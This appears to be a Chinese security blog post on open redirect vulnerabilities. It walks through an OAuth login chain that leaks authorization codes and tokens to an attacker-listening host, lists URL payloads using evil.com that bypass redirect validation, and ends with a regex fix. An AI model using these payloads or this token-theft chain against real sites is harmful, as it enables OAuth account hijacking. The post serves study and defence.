# 漏洞日常记录 之 url跳转

url跳转是现在web安全中很常见的问题,是个比较不起眼的漏洞了。
从日常中学会了一些不一样的角度,各种可绕过的防御方式。

漏洞影响:

此处不再赘述普通的url跳转漏洞带来的影响,
比较另辟蹊径的oauth处的url跳转。
先来看一下oauth第三方账号登录的流程:

默认i.sevsea.me为使用oauth流程但存在url跳转的站点;
http://1.1.1.1:7777 为攻击者正在监听的地址

  1. 首先是访问一个拥有url跳转漏洞的链接:

     http://i.sevsea.me/ajax/qqlogin?extend=shouyou&gamefrom=web_h5&channel=sevseawebsite&from=home&prevUrl=http://1.1.1.1:7777
    
  2. 访问此链接可以跳转至第三方登录处,即下面包含用户state的链接,这里是QQ第三方登录。

     http://graph.qq.com/oauth2.0/show?which=Login&display=pc&which=&display=&state=82502feab21aa34d6d460b1a70c0b516&client_id=101270876&response_type=token&scope=get_user_info&redirect_uri=http://i.sevsea.me/index/qqback
    
  3. 此处将会带着access_token和state跳转到i.sevsea.me/index/qqback,如下:

     http://i.sevsea.me/index/qqback?access_token=FD336A008729CA97FB7AC22602A4304E&expires_in=7776000&state=82502feab21aa34d6d460b1a70c0b516
    
  4. 到此链接后,下一个步骤生成code并将code带至将http://1.1.1.1:7777 访问,如下。

     http://1.1.1.1:7777/?code=01dc82a5e1764e31c9593b89f4b526ec
     #oauth里面,用来授权的字段为access_token、code、state 这三个参数,拿到这三个参数也就可以实行oauth csrf的攻击流程。
    
  5. 可能会有的一个疑问,code能拿到, access_token和 state 怎么拿到呢?

     如果业务站点为https,只要同有一个https的站点,即可拿到
     http://1.1.1.1:7777/?code=01dc82a5e1764e31c9593b89f4b526ec 
     的referer,其中便可直接拿到access_token和state 。
    

所以这类存在于oauth的url跳转,大多有可能造成outh csrf漏洞。

漏洞修复方案绕过:

第一种:
验证缺失(仅验证包含www.yoursite.com的情况):

http://evil.comwww.yoursite.com/
http://evil.com/?www.yoursite.com
http://evil.com/www.yoursite.com/

第二种:
利用schema://username:[email protected]/的验证缺失

http://evil.com\@www.yoursite.com
此处evil.com\@被当作了username:password的内容来处理,导致验证缺失。

第三种:
%40绕过域名检测

http://sevsea.me/tjump?u=//www.yoursite.com%40evil.com/5uIGe4g&BNVDLtCSEK

第四种:
业务判断了/字符并做了限制,使用""或?绕过

首先尝试添加包含前斜线(/)char的子域名,例如evil.com/.www.yoursite.com,但是它不成功,因为检查了子域的字符,并阻止我使用前斜杠字符。但是当我在子域中使用反斜线字符时,并没有被阻止.
(技巧:浏览器在看到斜杠字符时转换为前斜杠字符。)
http://evil.com\?www.yoursite.com/

使用 http://evil.com?www.yoursite.com/时候浏览器会自动解析为 http://evil.com/?www.yoursite.com/,绕过了对/字符的限制。
http://evil.com?www.yoursite.com/

漏洞修复方案:

正则匹配方案:

https?:\/\/[a-zA-Z0-9\.]*?\.360\.cn\/

你可能感兴趣的:(# 漏洞日常记录 之 url跳转)